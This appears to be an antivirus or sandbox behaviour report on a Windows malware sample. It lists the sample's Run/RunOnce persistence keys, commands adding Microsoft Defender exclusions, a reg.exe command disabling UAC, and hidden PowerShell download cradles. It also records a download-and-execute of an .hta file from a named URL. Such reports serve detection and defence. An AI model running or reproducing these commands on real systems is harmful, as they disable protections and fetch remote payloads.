Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'service' = 'cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath C:"'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'Public' = 'cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath %APPDATA%'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'serviceup2' = 'cmd.exe /c cd %APPDATA% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebCl...
- [HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'serviceup' = 'cmd.exe /c cd %APPDATA% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebCli...
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] '1' = '%APPDATA%\winapix001.exe'
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Downloads and executes
- https://www.lettsplay.org.es/downloads/appa.jpg as textview.hta
Modifies file system
Creates the following files
- %TEMP%\fc96.tmp\fc97.tmp\fc98.bat
- nul
Network activity
Connects to
- 'le####lay.org.es':443
TCP
Other
- 'le####lay.org.es':443
UDP
- DNS ASK le####lay.org.es
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\FC96.tmp\FC97.tmp\FC98.bat <Full path to file>"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\FC96.tmp\FC97.tmp\FC98.bat <Full path to file>"
- '<SYSTEM32>\reg.exe' query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%APPDATA%\winapix001.exe" (goto :quit else :continue)
- '<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "service" /t REG_SZ /d "cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath C:\"
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "Public" /t REG_SZ /d "cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath %APPDATA%"
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "serviceup2" /t REG_SZ /d "cmd.exe /c cd %APPDATA% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidd...
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "serviceup" /t REG_SZ /d "cmd.exe /c cd %APPDATA% & powershell -ExecutionPolicy bypass -noprofile -windowstyle hidde...
- '<SYSTEM32>\reg.exe' add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "1" /t REG_SZ /d "%APPDATA%\winapix001.exe"
- '<SYSTEM32>\cmd.exe' /c cd %HOMEPATH%
- '<SYSTEM32>\timeout.exe' /t 5
